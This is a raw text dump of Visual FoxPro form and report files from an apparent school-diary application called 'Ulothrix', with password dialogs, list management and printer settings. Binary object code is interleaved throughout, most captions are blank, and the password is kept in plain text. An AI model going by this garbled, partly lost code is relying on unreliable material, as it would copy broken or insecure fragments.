labellabelLabel2Form1.Pageframe1.Page1AutoSize = .T. FontSize = 12 Caption = ", , :" Height = 21 Left = 34 Top = 92 Width = 227 BackColor = 255,255,255 Name = "Label2"  commandbutton commandbuttonCommand1Form1.Pageframe1.Page1AutoSize = .T. Top = 176 Left = 91 Height = 34 Width = 214 FontSize = 12 Caption = " " Default = .T. Name = "Command1" PROCEDURE Click IF (EMPTY(thisform.pageframe1.page1.text1.Value)=.f.).and.(EMPTY(thisform.pageframe1.page1.text2.Value)=.f.) IF thisform.pageframe1.page1.text1.Value=thisform.pageframe1.page1.text2.Value SELECT Ini GO 6 replace genao WITH TRIM(thisform.pageframe1.page1.text1.Value) replace changed WITH .t. thisform.pageframe1.page1.label3.Visible=.t. ELSE Messagebox(' ! , !',0,'Ulothrix ') thisform.pageframe1.page1.text1.Value='' thisform.pageframe1.page1.value='' endif ELSE MESSAGEBOX(', ! .',0,'Ulothrix ') endif ENDPROC  W%_n6U6%C-C- V)%F #>C` >aT aRoCH ! , !Ulothrix xTTrCK, ! .Ulothrix xU THISFORM PAGEFRAME1PAGE1TEXT1VALUETEXT2INIGENAOCHANGEDLABEL3VISIBLEClick,1aqqaA!A5) commandbutton commandbuttonCommand2Form1.Pageframe1.Page1AutoSize = .T. Top = 176 Left = 319 Height = 34 Width = 102 FontSize = 12 Cancel = .T. Caption = "" Name = "Command2" .PROCEDURE Click thisform.Release ENDPROC  %Pe_6U UTHISFORMRELEASEClick,12#)labellabelLabel3Form1.Pageframe1.Page1FontSize = 13 Caption = " " Height = 37 Left = 47 Top = 133 Visible = .F. Width = 265 ForeColor = 255,0,0 BackColor = 255,255,255 Name = "Label3" labellabelLabel1Form1.Pageframe1.Page2AutoSize = .F. FontSize = 12 WordWrap = .T. Caption = ' , "³ " ' Height = 60 Left = 10 Top = 13 Width = 492 BackColor = 255,255,255 Name = "Label1" oPROCEDURE Init SELECT ini GO 6 IF changed=.t. this.Visible=.t. ELSE this.Visible=.f. endif ENDPROC  sN% 6UJF #%a-TaCT-UINICHANGEDTHISVISIBLEInit,1qA1d)labellabelLabel2Form1.Pageframe1.Page2FontSize = 15 Caption = " " Height = 37 Left = 35 Top = 109 Width = 469 ForeColor = 255,0,0 BackColor = 255,255,255 Name = "Label2" oPROCEDURE Init SELECT ini GO 6 IF changed=.t. this.Visible=.f. ELSE this.Visible=.t. endif ENDPROC  sN% 6UJF #%a-T-CTaUINICHANGEDTHISVISIBLEInit,1qA1d) commandbutton commandbuttonCommand1Form1.Pageframe1.Page2AutoSize = .T. Top = 109 Left = 215 Height = 34 Width = 152 FontSize = 12 Caption = "³ " Name = "Command1"  PROCEDURE Click IF EMPTY(thisform.pageframe1.page2.text1.Value)=.f. SELECT Ini GO 6 IF thisform.pageframe1.page2.text1.Value=genao replace changed WITH .f. replace genao WITH '' thisform.pageframe1.page2.label3.Visible=.t. ELSE MESSAGEBOX(' ! , !',0,'Ulothrix') ENDIF ELSE MESSAGEBOX(' !',0,'Ulothrix') endif ENDPROC PROCEDURE Init SELECT ini GO 6 IF changed=.t. this.Visible=.t. ELSE this.Visible=.f. endif ENDPROC  %Y+6U"%C-F #%y >- >T a\CB ! , !Ulothrixx2C !UlothrixxU THISFORM PAGEFRAME1PAGE2TEXT1VALUEINIGENAOCHANGEDLABEL3VISIBLEJF #%a-TaCT-UINICHANGEDTHISVISIBLEClick,Init1qqA!A3qA1)textboxtextboxText1Form1.Pageframe1.Page2THeight = 25 Left = 167 Top = 73 Width = 229 PasswordChar = "*" Name = "Text1" labellabelLabel3Form1.Pageframe1.Page2FontSize = 15 Caption = " !" Height = 37 Left = 35 Top = 157 Visible = .F. Width = 421 ForeColor = 255,0,0 BackColor = 255,255,255 Name = "Label3" CArial, 0, 12, 7, 19, 15, 43, 3, 1 Arial, 0, 9, 5, 15, 12, 32, 3, 0 0  mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _3A90U7ELY1057517746/F] WINDOWS _3A90U7ELZ1057526577 WINDOWS _3A90U7EM01057517746,9FTa WINDOWS _3A90U7EM11057517746* WINDOWS _3A90U7EM21057526507L COMMENT RESERVED }  VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 202 Width = 394 ShowWindow = 1 DoCreate = .T. AutoCenter = .T. Caption = " " TitleBar = 0 WindowType = 1 WindowState = 0 Name = "Form1" bPROCEDURE Init this.icon='Diary.ico' this.text1.SetFocus this.command1.Default=.t. ENDPROC  %6U:T Diary.ico TaUTHISICONTEXT1SETFOCUSCOMMAND1DEFAULTInit,12W)labellabelLabel1Form1AutoSize = .T. FontSize = 15 Caption = ", , :" Height = 26 Left = 62 Top = 41 Width = 270 Name = "Label1" textboxtextboxText1Form1bFontSize = 12 Height = 25 Left = 74 Top = 89 Width = 253 PasswordChar = "*" Name = "Text1"  commandbutton commandbuttonCommand1Form1iTop = 125 Left = 110 Height = 36 Width = 169 FontSize = 12 Caption = "" Name = "Command1" BPROCEDURE Click IF EMPTY(thisform.text1.Value)=.f. SELECT ini GO 6 IF thisform.text1.Value=genao thisform.Release ELSE Messagebox(' ! , Num Lock, Caps Lock!') ENDIF ELSE messagebox(' !') endif ENDPROC  %T} c6U%C-F #%H uCi ! , Num Lock, Caps Lock!xC !xUTHISFORMTEXT1VALUEINIGENAORELEASEClick,1qqqQAA17)CArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _37Q1ERJ1A1051311683/F] WINDOWS _37Q1ERJ1B1059627845 WINDOWS _37T1DCFB11051506748    + WINDOWS _37T1DCFAX1051506748 WINDOWS _37Q1ERJ1C1059627415 ] { WINDOWS _37Q1ERJ1D1059627452 +9F WINDOWS _37Q1ERJ1E1059627415.=JWd WINDOWS _37Q1F32T61052612206u!, WINDOWS _37Q1ERJ1A105962741566667j7 8 WINDOWS _37S1DS80A1059627415l9{9999 :: WINDOWS _37T1D9B8K1051506748 <<&<4<A< WINDOWS _37T1D9B8L1051559477<<<<= WINDOWS _37T1D9B8M1051506748===== WINDOWS _37U107GII1052612206i>v>>>> COMMENT RESERVED _??VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 498 Width = 712 Desktop = .T. ShowWindow = 2 ShowInTaskBar = .F. DoCreate = .T. ShowTips = .T. AutoCenter = .T. Caption = "/" MaxButton = .F. MinButton = .F. Icon = ..\ WindowType = 1 AlwaysOnTop = .F. AlwaysOnBottom = .F. Name = "Form1" PROCEDURE Activate try oAgent=CREATEOBJECT('Agent.Control.2') oAgent.connected=.t. oAgent.characters.Load('Carrot','C:\windows\msagent\chars\'+AgentName) oChar=oAgent.Characters('Carrot') oNext=oChar.Moveto(ROUND(RozW*0.46,0),ROUND(RozH*0.69,0)) oChar.Show() CATCH MESSAGEBOX(' ! .') FINALLY Really=.t. ENDTRY ENDPROC PROCEDURE Destroy oChar.MoveTo(1256,731) SELECT Ini GO top IF changed=.f. oNExt=oChar.Think(' , " " ') endif ENDPROC PROCEDURE Init this.Icon='Diary.ico' ENDPROC PROCEDURE Unload STU.list1.refresh() ENDPROC  *%wE6UXTCAgent.Control.2NTa9CCarrotC:\windows\msagent\chars\TCCarrot9TCCq= ףp?TC Gz?T C >hC\ ! .xQ T aU OAGENT CONNECTED CHARACTERSLOAD AGENTNAMEOCHARONEXTMOVETOROZWROZHSHOWREALLYCF#)%-^TCJ , " " UOCHARMOVETOINICHANGEDONEXTTHINKT Diary.icoUTHISICONCUSTULIST1REFRESHActivate,DestroyInitUnload1A2QqQA231^y)labellabelLabel5Form1AutoSize = .T. FontSize = 13 Caption = " :" Height = 22 Left = 0 Top = 120 Width = 126 ForeColor = 0,128,192 Name = "Label5" labellabelLabel4Form1AutoSize = .T. FontSize = 13 Caption = " :" Height = 22 Left = 0 Top = 72 Width = 171 ForeColor = 0,128,0 Name = "Label4" listboxlistboxList1Form1FontSize = 12 RowSourceType = 0 RowSource = "" ControlSource = "" Height = 397 Left = 240 Top = 48 Width = 229 Name = "List1" PROCEDURE Click thisform.text1.Enabled=.t. thisform.text2.Enabled=.t. thisform.commandgroup1.command3.Enabled=.t. thisform.commandgroup1.command1.Enabled=.t. thisform.commandgroup1.command3.Default=.t. thisform.text1.Value=ALLTRIM(thisform.list1.Value) ENDPROC  oo_%&6U|TaTaTaTaTaTC U THISFORMTEXT1ENABLEDTEXT2 COMMANDGROUP1COMMAND3COMMAND1DEFAULTVALUELIST1Click,1AAA2 )ocomboboxcomboboxCombo1Form1OFontSize = 12 Height = 25 Left = 12 Top = 48 Width = 229 Name = "Combo1" 7PROCEDURE DropDown thisform.combo1.Clear thisform.combo1.AddItem('') thisform.combo1.AddItem(' ') thisform.combo1.AddItem(' ') ENDPROC PROCEDURE Click IF thisform.combo1.Value='' thisform.list1.RowSourceType= 3 thisform.list1.RowSource='Select first_name from People where Del<>.t. Into Cursor Names3' thisform.list2.RowSourceType= 3 thisform.list2.RowSource='Select first_name from People where Del=.t. Into Cursor Names2' thisform.commandgroup1.command2.Enabled=.t. thisform.text2.Enabled=.t. thisform.text2.SetFocus ENDIF IF thisform.combo1.Value=' ' thisform.list1.RowSourceType= 3 thisform.list1.RowSource='Select predmet from Subjects where Del<>.t. into Cursor Uroku1' thisform.list2.RowSourceType= 3 thisform.list2.RowSource='Select predmet from Subjects where Del=.t. Into Cursor Uroku2' thisform.text2.Enabled=.f. thisform.commandgroup1.command2.Enabled=.t. ENDIF IF thisform.combo1.Value=' ' thisform.list1.RowSourceType= 3 thisform.list1.RowSource='Select name_tem from Temjke where Del<>.t. into Cursor Temu1' thisform.list2.RowSourceType= 3 thisform.list2.RowSource='Select name_tem from Temjke where Del=.t. Into Cursor Temu2' thisform.commandgroup1.command2.Enabled=.t. thisform.text2.Enabled=.f. endif ENDPROC ; ""j%h 6Ub CC C UTHISFORMCOMBO1CLEARADDITEM<%TRT?Select first_name from People where Del<>.t. Into Cursor Names3TQT>Select first_name from People where Del=.t. Into Cursor Names2T aT a #% )TQT>Select predmet from Subjects where Del<>.t. into Cursor Uroku1TPT=Select predmet from Subjects where Del=.t. Into Cursor Uroku2T -T a % 5TOT<Select name_tem from Temjke where Del<>.t. into Cursor Temu1TNT;Select name_tem from Temjke where Del=.t. Into Cursor Temu2T aT -U THISFORMCOMBO1VALUELIST1 ROWSOURCETYPE ROWSOURCELIST2 COMMANDGROUP1COMMAND2ENABLEDTEXT2SETFOCUSDropDown,Click1q51!1AA111AA11AA3, )"listboxlistboxList2Form1FontSize = 12 RowSourceType = 0 RowSource = "" ControlSource = "" Height = 397 Left = 480 Top = 48 Width = 228 Name = "List2" vPROCEDURE Click thisform.commandgroup1.command4.Enabled=.t. thisform.commandgroup1.command4.Default=.t. ENDPROC  %6U+TaTaUTHISFORM COMMANDGROUP1COMMAND4ENABLEDDEFAULTClick,1AA2k) commandgroup commandgroup Commandgroup1Form1AutoSize = .T. ButtonCount = 4 Value = 1 Height = 158 Left = 36 Top = 180 Width = 150 Name = "Commandgroup1" Command1.AutoSize = .T. Command1.Top = 5 Command1.Left = 5 Command1.Height = 34 Command1.Width = 140 Command1.FontSize = 12 Command1.Caption = "" Command1.Enabled = .F. Command1.Style = 0 Command1.SpecialEffect = 0 Command1.Name = "Command1" Command2.AutoSize = .F. Command2.Top = 81 Command2.Left = 5 Command2.Height = 34 Command2.Width = 140 Command2.FontSize = 12 Command2.Caption = "" Command2.Enabled = .F. Command2.Name = "Command3" Command3.Top = 43 Command3.Left = 5 Command3.Height = 34 Command3.Width = 140 Command3.FontSize = 12 Command3.Caption = "" Command3.Enabled = .F. Command3.Name = "Command2" Command4.Top = 119 Command4.Left = 5 Command4.Height = 34 Command4.Width = 140 Command4.FontSize = 12 Command4.Caption = "³" Command4.Enabled = .F. Command4.Name = "Command4"  )PROCEDURE Command1.Click IF thisform.combo1.Value='' IF MESSAGEBOX(' " ?',(1+32+256),'Ulothrix ')=1 SELECT People LOCATE FOR first_name=thisform.list1.Value IF FOUND() replace first_name WITH alltrim(thisform.text1.Value) ENDIF ENDIF ENDIF IF thisform.combo1.Value=' ' IF MESSAGEBOX(' ?',(1+32+256),'Ulothrix ')=1 SELECT Subjects LOCATE FOR predmet=thisform.list1.Value IF FOUND() replace predmet WITH alltrim(thisform.text1.Value) ENDIF ENDIF ENDIF IF thisform.combo1.Value=' ' IF MESSAGEBOX(' ?',(1+32+256),'Ulothrix ')=1 SELECT Temjke LOCATE FOR name_tem=thisform.list1.Value IF FOUND() replace name_tem WITH alltrim(thisform.text1.Value) ENDIF ENDIF ENDIF thisform.list1.Requery ENDPROC PROCEDURE Command3.Click * !! IF thisform.combo1.Value='' SELECT People LOCATE FOR first_name=thisform.list1.Value IF FOUND() replace del WITH .t. ENDIF ENDIF * !! IF thisform.combo1.Value=' ' SELECT Subjects LOCATE FOR predmet=thisform.list1.Value IF FOUND() replace del WITH .t. ENDIF ENDIF * !!! IF thisform.combo1.Value=' ' SELECT Temjke LOCATE FOR name_tem=thisform.list1.Value IF FOUND() replace del WITH .t. ENDIF ENDIF thisform.list1.Requery thisform.list2.Requery oChar.Play('Announce') ENDPROC PROCEDURE Command2.Click PUBLIC Re * !!! DO CASE CASE thisform.combo1.Value='' SELECT People IF Empty(thisform.text2.Value)=.f. GO BOTTOM i=num APPEND BLANK replace num WITH i+1 replace first_name WITH ALLTRIM(thisform.text2.Value) thisform.list1.AddItem(ALLTRIM(thisform.text2.Value)) ELSE MESSAGEBOX(' " !',(0+64+0),'Ulothrix ') thisform.text2.SetFocus endif * !! CASE thisform.combo1.Value=' ' DO FORM Forms\Re.scx NAME Re * !! CASE thisform.combo1.Value=' ' DO FORM Forms\Re.scx NAME Re thisform.list1.Requery ENDCASE ENDPROC PROCEDURE Command4.Click * !! IF thisform.combo1.Value='' SELECT People LOCATE FOR first_name=thisform.list2.Value IF FOUND() replace Del WITH .f. endif ENDIF * IF thisform.combo1.Value=' ' SELECT Subjects LOCATE FOR predmet=thisform.list2.Value IF FOUND() replace Del WITH .f. endif ENDIF * !!! IF thisform.combo1.Value=' ' SELECT Temjke LOCATE FOR name_tem=thisform.list2.Value IF FOUND() replace Del WITH .f. endif ENDIF thisform.list1.Requery thisform.list2.Requery ENDPROC   %Bl e6UW%Z%C* " ?!Ulothrix xF- %C4>C#% \%C, ?!Ulothrix x|F- %C4x>C % C[%C+ ?!Ulothrix x?F -  %C4;> C  U THISFORMCOMBO1VALUEPEOPLE FIRST_NAMELIST1TEXT1SUBJECTSPREDMETTEMJKENAME_TEMREQUERYA%QF- %C4M >a#% F- %C4 >a % F -  %C4 >a  CAnnounce UTHISFORMCOMBO1VALUEPEOPLE FIRST_NAMELIST1DELSUBJECTSPREDMETTEMJKENAME_TEMREQUERYLIST2OCHARPLAY7 H F%C-#6 T>>CCC DC " !@Ulothrix x  #  = Forms\Re.scxJ   Forms\Re.scxJ  URETHISFORMCOMBO1VALUEPEOPLETEXT2INUM FIRST_NAMELIST1ADDITEMSETFOCUSFORMSREQUERY)%QF- %C4M >-#% F- %C4 >- % F -  %C4 >-  U THISFORMCOMBO1VALUEPEOPLE FIRST_NAMELIST2DELSUBJECTSPREDMETTEMJKENAME_TEMLIST1REQUERYCommand1.Click,Command3.ClickCommand2.ClickCommand4.Click1qAQAAA1qAQAAAqAQAAA3qAAA2qAAAqAAA5qqqQQQAA2A3qAAA2qAAAqAAA2 7B@M [) textboxtextboxText1Form1]FontSize = 12 Enabled = .F. Height = 25 Left = 12 Top = 96 Width = 217 Name = "Text1" PROCEDURE GotFocus thisform.commandgroup1.command1.Default=.t. ENDPROC PROCEDURE SetFocus thisform.commandgroup1.command1.Default=.t. ENDPROC Z AA%6UTaUTHISFORM COMMANDGROUP1COMMAND1DEFAULTTaUTHISFORM COMMANDGROUP1COMMAND1DEFAULTGotFocus,SetFocuss1A3A2A`)AtextboxtextboxText2Form1^FontSize = 12 Enabled = .F. Height = 25 Left = 12 Top = 144 Width = 217 Name = "Text2" PROCEDURE GotFocus thisform.commandgroup1.command2.Default=.t. ENDPROC PROCEDURE SetFocus thisform.commandgroup1.command3.Default=.t. ENDPROC Z AA%6UTaUTHISFORM COMMANDGROUP1COMMAND2DEFAULTTaUTHISFORM COMMANDGROUP1COMMAND3DEFAULTGotFocus,SetFocuss1A3A2A`)AlabellabelLabel1Form1AutoSize = .T. FontSize = 13 Caption = ", :" Height = 22 Left = 0 Top = 24 Width = 243 Name = "Label1" labellabelLabel2Form1AutoSize = .T. FontSize = 13 Caption = " :" Height = 22 Left = 240 Top = 24 Width = 98 ForeColor = 255,128,64 Name = "Label2" labellabelLabel3Form1AutoSize = .T. FontSize = 13 Caption = ":" Height = 22 Left = 480 Top = 24 Width = 92 ForeColor = 255,0,0 Name = "Label3" labellabelLabel6Form1AutoSize = .T. WordWrap = .T. Caption = "* Ctrl+Enter" Height = 32 Left = 12 Top = 348 Width = 199 ForeColor = 0,0,255 Name = "Label6" CArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 12, 7, 19, 15, 43, 3, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38O0ZFYSK1053590549/F] WINDOWS _38O0ZFYSL10588920486 WINDOWS _38O0ZFYSM1053590549 %3@ WINDOWS _38O0ZFYSN1056805592  WINDOWS _38O0ZGKVA1058892048v< COMMENT RESERVED  VERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 278 Width = 413 ShowWindow = 2 ShowInTaskBar = .F. DoCreate = .T. AutoCenter = .T. Caption = "..." FontSize = 13 MaxButton = .F. MinButton = .F. TitleBar = 0 WindowType = 1 WindowState = 0 AlwaysOnTop = .F. Name = "Form1" 0PROCEDURE Init this.text1.SetFocus ENDPROC  Q%Wke6U UTHISTEXT1SETFOCUSInit,12%)labellabelLabel1Form1AutoSize = .T. FontSize = 15 Caption = ', , ". ' Height = 26 Left = 60 Top = 72 Width = 294 Name = "Label1" textboxtextboxText1Form1aFontSize = 13 Height = 27 Left = 60 Top = 108 Width = 289 AutoComplete = 0 Name = "Text1"  commandbutton commandbuttonCommand1Form1wTop = 156 Left = 92 Height = 49 Width = 229 FontSize = 13 Caption = "" Default = .T. Name = "Command1" PROCEDURE Click SELECT ini GO BOTTOM replace genao WITH ALLTRIM(thisform.text1.Value) thisform.Release CLEAR EVENTS ENDPROC  r%6U3F#6>C UINIGENAOTHISFORMTEXT1VALUERELEASEClick,1qQQQ2})"Arial, 0, 13, 8, 20, 15, 45, 4, 1 0 mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _3AV0R6S6L1058957010/F] WINDOWS _3AV0R6S6M1059633564^ WINDOWS _3AV0R6S6N10596335643?KXe WINDOWS _3AV0R6S6O1058957010(6DSn WINDOWS _3AV0R6S6P1059631767= WINDOWS _3AV0R6S6Q1058957010  WINDOWS _3AV0S5LGH1058957616L [ j w WINDOWS _3AV0R6S6S1058957010   , G WINDOWS _3AV0R6S6T1059631767v  WINDOWS _3AV0R6S6U1058957010 WINDOWS _3AV0R6S6V1059631767.<WB WINDOWS _3AV0R6S6W1058957010 WINDOWS _3AV0R6S6X1058957010 &A WINDOWS _3B41CHYE81059633446K COMMENT RESERVED +TVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1aTop = 0 Left = 0 Height = 449 Width = 877 DoCreate = .T. Caption = "Form1" Name = "Form1" PROCEDURE Init ENDPROC  }%3EA6UUInit,13)gridgridGrid1Form1ColumnCount = 5 Height = 445 Left = 12 RecordSource = "Ini" RecordSourceType = 1 Top = 12 Width = 709 Name = "Grid1" Column1.ControlSource = "" Column1.Name = "Column1" Column2.ControlSource = "" Column2.Name = "Column2" Column3.ControlSource = "" Column3.Name = "Column3" Column4.ControlSource = "" Column4.Name = "Column4" Column5.ControlSource = "" Column5.Format = "R" Column5.InputMask = "99" Column5.Name = "Column5" headerheaderHeader1Form1.Grid1.Column1'Caption = "Header1" Name = "Header1" comboboxcomboboxCombo1Form1.Grid1.Column1OEnabled = .T. Height = 24 Left = 41 Top = 23 Width = 100 Name = "Combo1" pPROCEDURE DropDown this.Clear SELECT People SCAN FOR DEL<>.t. this.AddItem(first_name) endscan ENDPROC  ]%6U9 F~a2CUTHISCLEARPEOPLEDELADDITEM FIRST_NAMEDropDown,1qA1e)headerheaderHeader1Form1.Grid1.Column2'Caption = "Header1" Name = "Header1" textboxtextboxText1Form1.Grid1.Column2gFormat = "R" Height = 23 InputMask = "99/99/9999" Left = 25 Top = 35 Width = 100 Name = "Text1" headerheaderHeader1Form1.Grid1.Column3'Caption = "Header1" Name = "Header1" comboboxcomboboxCombo1Form1.Grid1.Column3@Height = 24 Left = 21 Top = 23 Width = 100 Name = "Combo1" PROCEDURE Click GRIDVALUEBOX=this.Value thisform.grid1.column4.combo1.Enabled= .T. ENDPROC PROCEDURE DropDown this.Clear SELECT Subjects SCAN FOR DEL<>.t. this.AddItem(predmet) endscan ENDPROC  % @ ,6U*TTaU GRIDVALUEBOXTHISVALUETHISFORMGRID1COLUMN4COMBO1ENABLED9 F~a2CUTHISCLEARSUBJECTSDELADDITEMPREDMETClick,DropDown1q3qA1Vu)headerheaderHeader1Form1.Grid1.Column4'Caption = "Header1" Name = "Header1" comboboxcomboboxCombo1Form1.Grid1.Column4OEnabled = .F. Height = 24 Left = 29 Top = 23 Width = 100 Name = "Combo1" PROCEDURE DropDown this.Clear SELECT Temjke SCAN FOR (num_tem=GRIDVALUEBOX).and.(DEL<>.t.) this.AddItem(name_tem) ENDSCAN ENDPROC < ##h(%6UF F~a ?CUTHISCLEARTEMJKENUM_TEM GRIDVALUEBOXDELADDITEMNAME_TEMDropDown,1qA1)#headerheaderHeader1Form1.Grid1.Column5'Caption = "Header1" Name = "Header1" textboxtextboxText1Form1.Grid1.Column5YBorderStyle = 0 Margin = 0 ForeColor = 0,0,0 BackColor = 255,255,255 Name = "Text1"  commandbutton commandbuttonCommand1Form1ZTop = 72 Left = 744 Height = 121 Width = 121 Caption = "Command1" Name = "Command1" PROCEDURE Click SELECT CurMany thisform.grid1.RecordSourceType= 1 thisform.grid1.RecordSource='CurMany' thisform.grid1.ColumnCount=5 thisform.grid1.column1.header1.Caption="' " thisform.grid1.column2.header1.Caption=" " thisform.grid1.column3.header1.Caption="" thisform.grid1.column4.header1.Caption="" thisform.grid1.column5.header1.Caption="" ENDPROC 3 L% 6UFTTCurManyT"T ' .T  T T T U CURMANYTHISFORMGRID1RECORDSOURCETYPE RECORDSOURCE COLUMNCOUNTCOLUMN1HEADER1CAPTIONCOLUMN2COLUMN3COLUMN4COLUMN5Click,1q11!3)!Arial, 0, 9, 5, 15, 12, 32, 3, 0 0  PLATFORMCUNIQUEIDC TIMESTAMPN OBJTYPENOBJCODENNAMEM"EXPRM&VPOSN* HPOSN3 HEIGHTN< WIDTHNE STYLEMNPICTUREMRORDERMVUNIQUELZCOMMENTM[ENVIRONL_BOXCHARC`FILLCHARCaTAGMbTAG2MfPENREDNjPENGREENNoPENBLUENtFILLREDNyFILLGREENN~FILLBLUENPENSIZENPENPATNFILLPATNFONTFACEMFONTSTYLENFONTSIZENMODENRULERNRULERLINESNGRIDLGRIDVNGRIDHNFLOATLSTRETCHLSTRETCHTOPLTOPLBOTTOMLSUPTYPENSUPRESTNNOREPEATLRESETRPTNPAGEBREAKLCOLBREAKLRESETPAGELGENERALNSPACINGNDOUBLELSWAPHEADERLSWAPFOOTERLEJECTBEFORLEJECTAFTERLPLAINLSUMMARYLADDALIASLOFFSETNTOPMARGINNBOTMARGINNTOTALTYPENRESETTOTALNRESOIDNCURPOSLSUPALWAYSLSUPOVFLOWLSUPRPCOLNSUPGROUPNSUPVALCHNGLSUPEXPRMUSERM WINDOWS _3890WVS0B1052539536 1 53 1.000 0.000 0.000 -1.000 F -1 -1 -1 -1 -1 -1  0 10 120T1212FFFFF F 0T F T 1FTT0 0F WINDOWS _3890WVS0C 9 1 9896.000 0.000 F FFF F F WINDOWS _3890WVS0D 9 4 6250.000 0.000 F FFF F F WINDOWS _3890WVS0E 9 7 12709.000 0.000 F FFF F F WINDOWS _3890WVYRV1052539540 5 0 1666.667 4479.167 2708.33347187.500 -1 -1 -1 -1 -1 -1  0 16 1 FFFTF F 0T 204FTT0 0F WINDOWS _3890WVYRW1052539540 8 0 12291.66714166.667 2916.66723229.167 C 0 0 0 -1 -1 -1 ! 0 16 1 0 FFFTF F 0T 0 0 1204FTT3 0F WINDOWS _3890X1TLP1052539687 7 411875.00013854.167 6354.16743333.333 -1 -1 -1 -1 -1 -1 1 8 0 0 FFFTF F 0 FTF0 0F WINDOWS _3890X1TLQ1052539687 8 0" 1770.83352500.000 2604.16721875.000 C 255 0 0 -1 -1 -1 # 0 14 1 0 FFFTF F 0T 0 0 1204TTF3 0F WINDOWS _3890X1TLR1052539687 8 0$12500.00036979.167 2604.16713541.667 C -1 -1 -1 -1 -1 -1 % 0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _3890X1TLS1052539687 6 11875.00035729.167 6354.167 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF0 0F WINDOWS _3890X6YNB1052539815 6 11770.83348333.333 6145.833 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF3 0F WINDOWS _3890X7XOB1052539850 8 0&12500.00047812.500 2604.16713541.667 C -1 -1 -1 -1 -1 -1 ' 0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _3890XMO521052540209 5 0( 7500.00022500.000 2395.833 4895.833 -1 -1 -1 -1 -1 -1 ) 0 14 1 FFFTF F 0T 204FTT0 0F WINDOWS _3890XNOGF1052540231 7 4 7500.00013854.167 2395.83343333.333 -1 -1 -1 -1 -1 -1 1 8 0 0 FFFTF F 0 FTT0 0F WINDOWS _3890XNUBH1052540234 6 7500.00035729.167 2500.000 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTT0 0F WINDOWS _3890XPLQ91052540277 6 7604.16748333.333 2395.833 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTT0 0F WINDOWS _3890XPXLJ1052540295 5 0* 7500.00037500.000 2395.833 8541.667 -1 -1 -1 -1 -1 -1 + 0 14 1 FFFTF F 0T 204FTT0 0F WINDOWS _3890XQUHE1052540313 5 0, 7500.00049791.667 2395.833 4375.000 -1 -1 -1 -1 -1 -1 - 0 14 1 FFFTF F 0T 204FTT0 0F WINDOWS _38G0ZP9Q41053066477 8 0.21666.66731041.667 2187.50018125.000FF C -1 -1 -1 -1 -1 -1 0 0 0/ 2 12 100F 0 0FFFTF00F 0FFF 0 2TFFFFFFF 0 0 0 0 1204FTT0 0F0 WINDOWS _3AW0VD1WX1059026109 8 0124479.167 8750.000 7708.333 8020.833FF C -1 -1 -1 -1 -1 -1 0 0 02 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT0 6F3 WINDOWS _3AW0VD1WY1059026109 5 0423645.833 3541.667 2708.333 4375.000FF -1 -1 -1 -1 -1 -1 0 0 05 0 16 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTT0 6F6 WINDOWS 23 16.000 8.000 12.000 10.000 4 0 7 0 10 F WINDOWS 23 26.000 11.000 20.000 37.000 6 0 8 0 16 F WINDOWS 23 23.000 10.000 18.000 33.000 5 0 9 0 14 F WINDOWS 23 20.000 7.000 16.000 30.000 3 1 : 2 12 F WINDOWS 23 24.000 10.000 19.000 35.000 5 0 ; 0 15 F WINDOWS 25 <= F F v@DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0 Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2 Courier New3" II- 